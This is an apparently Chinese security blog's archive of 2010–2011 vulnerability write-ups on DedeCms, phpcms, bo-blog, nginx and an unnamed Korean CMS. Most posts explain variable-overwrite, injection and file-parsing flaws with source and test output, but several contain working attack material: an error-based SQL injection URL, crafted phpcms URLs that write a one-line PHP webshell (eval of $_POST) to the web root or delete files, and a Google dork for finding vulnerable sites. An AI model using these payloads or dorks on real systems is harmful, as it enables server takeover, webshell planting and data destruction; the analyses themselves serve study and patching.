存档

‘漏洞代码’ 分类的存档

DedeCms 漏洞为什么能覆盖数据库配置变量

2011年8月31日 admin     925 views 8 条评论

这件事说来比较惭愧,之前发现Dedecms有这么一个严重的问题,也传言dede不用登击进后台.

在网上也考到mr_xhming同学的分析:

http://hi.baidu.com/mr_xhming/blog/item/5e6d6009d44b1f39e92488a5.html

底下还有大牛的评论

2009-06-14 00:01 | 回复

在文件common.inc.php先覆盖

$GLOBALS['cfg_dbhost'];
$GLOBALS['cfg_dbuser'];
$GLOBALS['cfg_dbpwd'];
$GLOBALS['cfg_dbname'];
$GLOBALS['cfg_dbprefix'];

然后才是初始化数据库类

//引入数据库类
require_once(DEDEINC.’/dedesql.class.php’);
//全局常用函数
require_once(DEDEINC.’/common.func.php’);
?>

当时我也纳闷,DedeCms变量覆盖漏洞为什么能覆盖数据库配置变量?因为覆盖(或者说创建)在前,赋值在后啊。

//include/common.inc.php

function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}

if (!defined('DEDEREQUEST'))
{
//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && preg_match('/^(cfg_|GLOBALS)/',$_k) )
{
exit('Request var not allow!');
}
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);  //这里覆盖变量
}
}

//系统相关变量检测
if(!isset($needFilter))
{
$needFilter = false;
}
$registerGlobals = @ini_get(“register_globals”);
$isUrlOpen = @ini_get(“allow_url_fopen”);
$isSafeMode = @ini_get(“safe_mode”);
if( preg_match(‘/windows/i’, @getenv(‘OS’)) )
{
$isSafeMode = false;
}

//Session保存路径
$sessSavePath = DEDEDATA.”/sessions/”;
if(is_writeable($sessSavePath) && is_readable($sessSavePath))
{
session_save_path($sessSavePath);
}

//系统配置参数
require_once(DEDEDATA.”/config.cache.inc.php”);

//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
if($_FILES)
{
require_once(DEDEINC.’/uploadsafe.inc.php’);
}

//数据库配置文件
require_once(DEDEDATA.’/common.inc.php’);        //这里引入数据库配置文件

//data/common.inc.php 里面的内容

<?php
//数据库连接信息
$cfg_dbhost = ‘localhost’;
$cfg_dbname = ‘de2′;
$cfg_dbuser = ‘root’;
$cfg_dbpwd = ”;
$cfg_dbprefix = ‘dede_’;
$cfg_db_language = ‘utf8′;

?>

 

看起来的样子是就算覆盖了$cfg_dbname这些变量但是后面的文章又给$cfg_dbname赋了值。

然后我以为只有那些系统变量在覆盖前没初始化的才可以覆盖利用,但是我利用这个漏洞是通过别的途径,运气好点也能搞到shell。当时根本没看懂fly大牛的评论(这个漏洞人家09年的时候就已经公布出来了?但是08年是利用$_FILES数组覆盖的。)当时网上爆的Dedecms的变量覆盖是$_FILES数组,其实除了这个还有更严重的,很多人都发现了但是没人爆出了,因为爆出来就没得玩了。但是Dedecms那帮家伙只知道修修补补,补了那个变量覆盖的时候就在旁边的更明显的都没发现。现在他们补了这个漏洞,还是有些别的严重的问题他们还是没补完。

扯的有点多,关键的问题还没解决。变量覆盖是存在的,但是怎么利用还不知道。

问题的根本就是: $cfg_dbname和$GLOBALS['cfg_dbname']到底是不是一回事?
我原来想当然的以为是一回事,其实根本不是那么回事。

我们可以做个实验:

把include/common.inc.php添加几行代码看一下:

echo '---------------------------------------------------------</br>';
echo '$GLOBALS[cfg_dbname]:';
var_dump($GLOBALS[cfg_dbname]);
echo '---------------------------------------------------------</br>';
echo '$cfg_dbname';
var_dump($cfg_dbname);
//数据库配置文件
echo '++++++++++++++++++++++++++++++++++++++++++++++++++++++++</br>';
require_once(DEDEDATA.'/common.inc.php');
echo '---------------------------------------------------------</br>';
echo '$GLOBALS[cfg_dbname]:';
var_dump($GLOBALS[cfg_dbname]);
echo '---------------------------------------------------------</br>';
echo '$cfg_dbname';
var_dump($cfg_dbname);
exit;

 

提交 http://127.0.0.1/de2/index.php?_POST[cfg_dbname]=1234

结果如下:

---------------------------------------------------------
$GLOBALS[cfg_dbname]:
string '1234' (length=4)
---------------------------------------------------------

$cfg_dbname
string '1234' (length=4)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++

---------------------------------------------------------
$GLOBALS[cfg_dbname]:
string 'de2' (length=3)
---------------------------------------------------------

$cfg_dbname
string 'de2' (length=3)

提交:http://127.0.0.1/de2/index.php?_POST[GLOBALS][cfg_dbname]=1234

---------------------------------------------------------
$GLOBALS[cfg_dbname]:

string '1234' (length=4)
---------------------------------------------------------

$cfg_dbname
null
++++++++++++++++++++++++++++++++++++++++++++++++++++++++

---------------------------------------------------------
$GLOBALS[cfg_dbname]:
string '1234' (length=4)
---------------------------------------------------------

$cfg_dbname
string 'de2' (length=3)

现在发现得到了我们想要的结果了,因为其后引入的数据库类

if ($GLOBALS['cfg_mysql_type'] == 'mysqli' && function_exists("mysqli_init"))

{
 require_once(DEDEINC.'/dedesqli.class.php');

} else {

 require_once(DEDEINC.'/dedesql.class.php');

}

里面的初始化函数是这样的,用的$GLOBALS['cfg_dbname']变量完成的赋值。

function Init($pconnect=FALSE)
{
$this->linkID = 0;
$this->queryString = '';
$this->parameters = Array();
$this->dbHost   =  $GLOBALS['cfg_dbhost'];
$this->dbUser   =  $GLOBALS['cfg_dbuser'];
$this->dbPwd    =  $GLOBALS['cfg_dbpwd'];
$this->dbName   =  $GLOBALS['cfg_dbname'];
$this->dbPrefix =  $GLOBALS['cfg_dbprefix'];
$this->result["me"] = 0;
$this->Open($pconnect);
}


所以是可以覆盖的,因为$GLOBALS数组被覆盖后变成了一个普通数组(不再是PHP的超全局变量),$GLOBALS['cfg_dbname'] 并不再等同于$cfg_dbname .我原来也是认为一直等同的。

而Dedecms的数据库配置文件用的是$GLOBALS['cfg_dbname']变量。

经foreach循环覆盖$GLOBALS之后导致$GLOBALS不再是超全局变量了,他成了普通的数组了,所以$GLOBALS['cfg_dbname'] 不再等同于$cfg_dbname 这是问题的关键.
证明代码如下

< ?php
$_POST['GLOBALS']['cfg_dbname'] = '123';
var_dump($GLOBALS);
foreach($_POST as $k => $v)
{
$$k=$v;
}
echo '~~~~~~~~~~~~~~~~~~~~~~';
echo $cfg_dbname.':'.$GLOBALS['cfg_dbname'];
echo '+++++++++++++++++++++++';
var_dump($GLOBALS);
$cfg_dbname = '456';
echo '-----------------------';
echo $cfg_dbname.':'.$GLOBALS['cfg_dbname'];
?>

结果如下

array
  'GLOBALS' =>
    &array
  'HTTP_HOST' => string '127.1' (length=5)
  'HTTP_USER_AGENT' => string 'Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20' (length=90)
  'HTTP_ACCEPT' => string 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' (length=63)
  'HTTP_ACCEPT_LANGUAGE' => string 'zh-cn,zh;q=0.5' (length=14)
  'HTTP_ACCEPT_ENCODING' => string 'gzip,deflate' (length=12)
  'HTTP_ACCEPT_CHARSET' => string 'GB2312,utf-8;q=0.7,*;q=0.7' (length=26)
  'HTTP_KEEP_ALIVE' => string '115' (length=3)
  'HTTP_CONNECTION' => string 'keep-alive' (length=10)
  'PATH' => string 'C:\Program Files\Common Files\Microsoft Shared\Windows Live;C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\ThinkPad\Bluetooth Software\;C:\Program Files\ThinkPad\Bluetooth Software\syswow64;C:\Program Files\Intel\WiFi\bin\;C:\Program Files\Common Files\Intel\WirelessCommon\;C:\Program Files (x86)\Common Files\Lenovo;C:\Program Files (x86)\Common Files\Ulead Systems\MPEG;C:\'... (length=975)
  'SystemRoot' => string 'C:\Windows' (length=10)
  'COMSPEC' => string 'C:\Windows\system32\cmd.exe' (length=27)
  'PATHEXT' => string '.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC' (length=53)
  'WINDIR' => string 'C:\Windows' (length=10)
  'SERVER_SIGNATURE' => string '' (length=0)
  'SERVER_SOFTWARE' => string 'Apache/2.2.17 (Win32) PHP/5.3.5' (length=31)
  'SERVER_NAME' => string '127.1' (length=5)
  'SERVER_ADDR' => string '127.0.0.1' (length=9)
  'SERVER_PORT' => string '80' (length=2)
  'REMOTE_HOST' => string 'web9.vghtpe.gov.tw' (length=18)
  'REMOTE_ADDR' => string '127.0.0.1' (length=9)
  'DOCUMENT_ROOT' => string 'C:/wamp/www/' (length=12)
  'SERVER_ADMIN' => string 'admin@localhost' (length=15)
  'SCRIPT_FILENAME' => string 'C:/wamp/www/5.php' (length=17)
  'REMOTE_PORT' => string '53482' (length=5)
  'GATEWAY_INTERFACE' => string 'CGI/1.1' (length=7)
  'SERVER_PROTOCOL' => string 'HTTP/1.1' (length=8)
  'REQUEST_METHOD' => string 'GET' (length=3)
  'QUERY_STRING' => string '' (length=0)
  'REQUEST_URI' => string '/5.php' (length=6)
  'SCRIPT_NAME' => string '/5.php' (length=6)
  'PHP_SELF' => string '/5.php' (length=6)
  'REQUEST_TIME' => int 1314794715
  '_POST' =>
    array
      'GLOBALS' =>
        array
          'cfg_dbname' => string '123' (length=3)
  '_GET' =>
    array
      empty
  '_COOKIE' =>
    array
      empty
  '_SERVER' =>
    array
      'HTTP_HOST' => string '127.1' (length=5)
      'HTTP_USER_AGENT' => string 'Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20' (length=90)
      'HTTP_ACCEPT' => string 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' (length=63)
      'HTTP_ACCEPT_LANGUAGE' => string 'zh-cn,zh;q=0.5' (length=14)
      'HTTP_ACCEPT_ENCODING' => string 'gzip,deflate' (length=12)
      'HTTP_ACCEPT_CHARSET' => string 'GB2312,utf-8;q=0.7,*;q=0.7' (length=26)
      'HTTP_KEEP_ALIVE' => string '115' (length=3)
      'HTTP_CONNECTION' => string 'keep-alive' (length=10)
      'PATH' => string 'C:\Program Files\Common Files\Microsoft Shared\Windows Live;C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\ThinkPad\Bluetooth Software\;C:\Program Files\ThinkPad\Bluetooth Software\syswow64;C:\Program Files\Intel\WiFi\bin\;C:\Program Files\Common Files\Intel\WirelessCommon\;C:\Program Files (x86)\Common Files\Lenovo;C:\Program Files (x86)\Common Files\Ulead Systems\MPEG;C:\'... (length=975)
      'SystemRoot' => string 'C:\Windows' (length=10)
      'COMSPEC' => string 'C:\Windows\system32\cmd.exe' (length=27)
      'PATHEXT' => string '.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC' (length=53)
      'WINDIR' => string 'C:\Windows' (length=10)
      'SERVER_SIGNATURE' => string '' (length=0)
      'SERVER_SOFTWARE' => string 'Apache/2.2.17 (Win32) PHP/5.3.5' (length=31)
      'SERVER_NAME' => string '127.1' (length=5)
      'SERVER_ADDR' => string '127.0.0.1' (length=9)
      'SERVER_PORT' => string '80' (length=2)
      'REMOTE_HOST' => string 'web9.vghtpe.gov.tw' (length=18)
      'REMOTE_ADDR' => string '127.0.0.1' (length=9)
      'DOCUMENT_ROOT' => string 'C:/wamp/www/' (length=12)
      'SERVER_ADMIN' => string 'admin@localhost' (length=15)
      'SCRIPT_FILENAME' => string 'C:/wamp/www/5.php' (length=17)
      'REMOTE_PORT' => string '53482' (length=5)
      'GATEWAY_INTERFACE' => string 'CGI/1.1' (length=7)
      'SERVER_PROTOCOL' => string 'HTTP/1.1' (length=8)
      'REQUEST_METHOD' => string 'GET' (length=3)
      'QUERY_STRING' => string '' (length=0)
      'REQUEST_URI' => string '/5.php' (length=6)
      'SCRIPT_NAME' => string '/5.php' (length=6)
      'PHP_SELF' => string '/5.php' (length=6)
      'REQUEST_TIME' => int 1314794715
  '_ENV' =>
    array
      empty
  '_FILES' =>
    array
      empty
  '_REQUEST' =>
    array
      empty

~~~~~~~~~~~~~~~~~~~~~~
:123
+++++++++++++++++++++++

array
  'cfg_dbname' => string '123' (length=3)

-----------------------
456:123

Possible Arbitrary Code Execution with Null Bytes, PHP, and Old Versions of nginx

2011年8月25日 admin     712 views 没有评论

from:https://nealpoole.com/blog/2011/07/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/

After publishing my previous blog post on PHP, nginx configuration, and potential arbitrary code execution, I came across a separate null-byte injection vulnerability in older versions of nginx (0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37). By taking advantage of this vulnerability, an attacker can cause a server that uses PHP-FastCGI to execute any publicly accessible file on the server as PHP.

In vulnerable versions of nginx, null bytes are allowed in URIs by default (their presence is indicated via a variable named zero_in_uri defined in ngx_http_request.h). Individual modules have the ability to opt-out of handling URIs with null bytes. However, not all of them do; in particular, the FastCGI module does not.

The attack itself is simple: a malicious user who makes a request to http://example.com/file.ext%00.php causes file.ext to be parsed as PHP. If an attacker can control the contents of a file served up by nginx (ie: using an avatar upload form) the result is arbitrary code execution. This vulnerability can not be mitigated by nginx configuration settings like try_files or PHP configuration settings like cgi.fix_pathinfo: the only defense is to upgrade to a newer version of nginx or to explicitly block potentially malicious requests to directories containing user-controlled content. 阅读全文…

Dedecms变量覆盖导致的变量覆盖导致的注射

2011年8月12日 admin     1,057 views 5 条评论

好久没更新博客,再丢一个鸡肋。最近dedecms的那个变量覆盖漏洞很火貌似。可惜我还没研究透怎么利用好就被爆了,在人家手里好多年都不爆,有的家伙不知道是自己发现还是捡到了或者别人泄漏了就爆了~~~额真不和谐~~~

dedecms又一个magic_quote_gpc=Off的时候_RunMagicQuotes函数不起作用的例子。

by c4rp3nt3r@0x50sec.org

2011年5月

DedeCms 所有版本 buy_action.php注射漏洞
利用条件 magic_quote_gpc=Off

变量覆盖后存在注射漏洞

所有存在parse_str(mchStrCode($XX,DECODE),$YY)的地方都是危险的。
SB的Dedecms害怕变量覆盖不了,还紧跟foreach循环强制覆盖。

注意parse_str函数会受magic_quotes_gpc的影响。

12 echo '------------------------';
13 echo "pd_encode: ".$pd_encode.' cfg_cookie_encode: '.$cfg_cookie_encode;
14 echo '~~~~~~~~~~~~~~~~~~~~~~~~';
15 echo md5("payment".$pd_encode.$cfg_cookie_encode);
16
17 if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode)
== $pd_verify)
18 {
19
20     parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post); //非常和谐
21
22     foreach($mch_Post as $k => $v) $$k = $v; //非常和谐
23     $row  = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 A
ND product='$product'");

./data/sys_pay.cache.php

32 function mchStrCode($string,$action=’ENCODE’)
33 {
34     $key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
35     $string = $action == ‘ENCODE’ ? $string : base64_decode($string);
36     $len    = strlen($key);
37     $code   = ”;
38     for($i=0; $i<strlen($string); $i++)
39     {
40         $k      = $i % $len;
41         $code  .= $string[$i] ^ $key[$k];
42     }
43     $code = $action == ‘DECODE’ ? $code : base64_encode($code);
44     return $code;
45 }

dedecms 报错最新版本有许多注射漏洞。

Error page:
/x/upload/member/buy_action.php?pd_encode=BxAAXQVSUVQHAxZeX11fEBRWDwFDU0BDRlABEkZSWkwHHwUbAgoN
VVlDHAEaVgkfHk8HRUdeDgtLHxEeHRFZQwADEFxfQ1JD&pd_veri
fy=0abb4ffcdc6379fcbaa6d0ac38aa71d6
Error infos: XPATH syntax error: ‘ 5.1.41-3ubuntu12.10′
Error sql: SELECT * FROM dede_member_operation WHERE mid=” and
extractvalue(1,concat(0×09,(version()))) limit 0,1;

只不过是个鸡肋

关于Dedecms的变量覆盖漏洞的利用

2011年8月11日 admin     1,024 views 3 条评论


最近有人爆出了dedecms的变量覆盖漏洞,这也是个挺有意思的漏洞,有的情况下dedecms的这个变量漏洞存在好久了在有的人手里都好多年了,大约半年前我也独立发现过

本文c4rp3nt3r@0x50sec.org
写于2011年5月

DedeCMS 任意变量覆盖漏洞的利用

Dedecms的变量覆盖漏洞总结
1.在magic_quotes_gpc=Off时
common.inc.php对原来的一维数组的$_GET原始数据没有进行addslashes,而是对一维数组的$$key进行了addslashes,导致filter.inc.php再次覆盖的时候使_RunMagicQuotes函数成了纸老虎。

2.common.inc.php
//检查和注册外部提交的变量,此处只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量
我们可以通过下面的变量覆盖漏洞使用GET提交的方式创建出$_POST数组数据,创建是在检查之后的也就绕过了检查,创建出来之后,程序又将其注册成了变量。

3.filter.inc.php
这个文件在系统配置文件之后,里面有foreach循环创建变量,所以可以覆盖系统变量。

阅读全文…

分类: 漏洞代码 标签: ,

phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞

2011年4月5日 admin     1,401 views 5 条评论

phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞
phpcms又一个鸡肋。
by c4rp3nt3r@0x50sec.org

phpcms的phpcms_auth函数的加密密钥AUTH_KEY泄漏会导致本地包含任意文件下载等多个漏洞。
而对phpcms2008有的本地包含又可以导致直接写shell和删除文件。所以泄漏了phpcms的phpcms_auth函数的加密密钥AUTH_KEY就可能直接导致被秒杀。

《phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞》http://www.wooyun.org/bugs/wooyun-2010-01795
已经说明了两个破解”phpcms_auth函数的加密密钥AUTH_KEY”的方法,但是还不是很理想,最理想的是直接给我们足够的明文和密文。
是的开放的phpcms真的给我们这样的了,没有保留。

上一篇说到”破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。”
其实一切建立在这个函数上的代码都可能给我们机会破解这个密钥。
来看magic_image函数,主要作用就是将字符串生成一个图片,这样做应该是为了防止别人采集网站上的数据,或者是防止泄漏隐私。

// include global.fun.php

function magic_image($txt, $fonttype = 4)
{
if(empty($txt)) return false;
if(function_exists(“imagepng”))
{
$txt = urlencode(phpcms_auth($txt, ‘ENCODE’, AUTH_KEY));
$txt = ‘‘;
}
return $txt;
}
阅读全文…

phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞

2011年4月4日 admin     1,228 views 3 条评论

by c4rp3nt3r@0x50sec.org
phpcms2008 sp2 or sp4偶没仔细看
这年头发个bug伤不起啊,厂商忽略,被人当成装X,有木有,心情不爽啊不管这么多了。

phpcms本地包含拿shell的方法,这篇文章接上一个

http://www.wooyun.org/bugs/wooyun-2010-01795

《phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞》

phpcms本地包含类漏洞,如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。

由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个。

admin/safe.inc.php文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做safe,但是一点也不safe。

公布一个本地包含秒杀拿shell的方法。

包含:admin/safe.inc.php文件GET提交一下数据

将在根目录下生成一句话
用上一篇得到的密钥$key=’sIpeofogblFVCildZEwe’;
加密如下字符串
$evil=’i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00′;

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=

将在根目录下生成一句话木马

同理任意文件删除漏洞:
$evil=’i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00′;

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==

阅读全文…

分类: 代码审计, 漏洞代码 标签:

phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞

2011年4月2日 admin     1,382 views 2 条评论

phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞

by c4rp3nt3r@0x50sec.org
mail: c4rp3nt3r#gmail.com
HomePage:http://www.0x50sec.org

phpcms_auth函数是phpcms里面为了增强程序的安全性的一个加密函数,在play.php、down.php 、download.php等等文件用它来对用户提交的加密字符串进行解密,进入程序流程,如果我们可以控制了phpcms_auth函数的解密,我们就可以通过注射我们的恶意代码,进行攻击。
而phpcms_auth采用的是可逆的位异或算法,并且对加密的结果进行了base64编码。
对于位异或算法来说只要我们破解了密钥字符串$key我们就完全控制了这个函数的加密解密。
对于base64编码主要是处理某些加密后的不可见字符,但是这给了我们一个很好的机会:
就是说我们破解了$key之后,我们就可以不受magic_quotes_pgc的限制引入%00字符串进行阶段,或者引入引号发起其他攻击。
到此已经违背了这个程序设计的初衷,破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。

// include/global.func.php
function phpcms_auth($txt, $operation = 'ENCODE', $key = '')
{
$key    = $key ? $key : $GLOBALS['phpcms_auth_key'];
$txt    = $operation == 'ENCODE' ? $txt : base64_decode($txt);
$len    = strlen($key);
$code    = '';

for($i=0; $i<strlen($txt); $i++){
$k        = $i % $len;    //循环使用密钥字符串对字符串逐位进行异或
$code  .= $txt[$i] ^ $key[$k];
}
$code = $operation == 'DECODE' ? $code : base64_encode($code);
return $code;
}

对于$key的破解
对于位运算的异或运算,是可逆的,明文和密钥异或得到密文。如果我们知道密文并且知道一部分明文那么我们也就可以得到密钥,有了密钥我们就可以破解另一部分密文,当然也就可以对我们自己的明文进行加密,然后用我们精心构造的密文发起攻击了。
阅读全文…

bo-blog任意变量覆盖漏洞

2011年3月3日 admin     1,039 views 没有评论

by Ryat[puretot]
mail: puretot at gmail dot com
team: http://www.80vul.com
影响版本:
2.1.0 2.1.1
状态:已修补
漏洞描述:

// go.php
$q_url=$_SERVER["REQUEST_URI"];
@list($relativePath, $rawURL)=@explode(‘/go.php/’, $q_url);
$rewritedURL=$rawURL; // 来自$_SERVER["REQUEST_URI"],可以任意提交的:)

$RewriteRules[]=”/component\/([^\/]+)\/?/”;
// 这个正则限制的不够细致,可以很轻易的绕过:)

$RedirectTo[]=”page.php?pagealias=\\1″;

$i=0;
foreach ($RewriteRules as $rule) {
if (preg_match($rule, $rewritedURL)) {
$tmp_rewritedURL=preg_replace($rule, ‘<’.$RedirectTo[$i].’<’, $rewritedURL, 1);
$tmp_rewritedURL=@explode(‘<’, $tmp_rewritedURL);
$rewritedURL=($tmp_rewritedURL[2]) ? false : $tmp_rewritedURL[1];
break;
}
$i+=1;
}

if ($rewritedURL==$rawURL || !$rewritedURL) {

$parsedURL=parse_url ($rewritedURL);
// 这里的$parsedURL['query']就是要利用的变量了:)
parse_str($parsedURL['query']);
// 通过这个地方可以覆盖任意变量
include(basename($parsedURL['path']));
// 通过上面的覆盖,可以利用这里包含本地文件,不过用了basename()函数处理:(

这个漏洞不是很复杂,关键说说利用,这里有两个利用点,一个覆盖,一个利用覆盖来包含,虽然用了basename()来限制,但是可以利用data://来执行命令.只是这种方式的利用是有限制的[PHP>5.2.0&allow_url_include=On].不过没关系,还有更好的利用方式
阅读全文…

韩国某cms远程包含、注射、文件泄漏、上传等多个漏洞

2010年6月17日 admin     2,053 views 1 条评论

来源:0x50sec.org

无意中发现的,名字未知,版本不详,问题一堆

Google Dork: inurl:bbs_sun/board.php

board.php文件内容如下:

————————–
<?
if(!$admin) $pgUp .= “../”;
else if($admin==’N') $pgUp .= “”;

include $pgUp.”inc/dbconn.php”;
include $pgUp.”bbs_sun/config.php”;
?>

<link href=”<?=$skinSrc?>/style.css” rel=”stylesheet” type=”text/css”>
<?
if($mode == “list”) include ($skinSrc.”/list.php”);
else if($mode == “write” || $mode == “modify” || $mode == “reply”) include ($skinSrc.”/write.php”);
else if($mode == “view”) include ($skinSrc.”/view.php”);
else if($mode == “delete” || $mode == “ment_delete”) include ($skinSrc.”/delete.php”);
?>
————————–

阅读全文…

分类: 漏洞代码 标签: , ,

nginx文件类型错误解析漏洞

2010年5月24日 admin     2,393 views 没有评论

nginx文件类型错误解析漏洞
来源:80sec.com
原文链接:http://www.80sec.com/nginx-securit.html

漏洞介绍:nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题,默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析,这将导致严重的安全问题,使得恶意的攻击者可能攻陷支持php的nginx服务器。

漏洞分析:nginx默认以cgi的方式支持php的运行,譬如在配置文件当中可以以
阅读全文…

分类: 漏洞代码 标签: , ,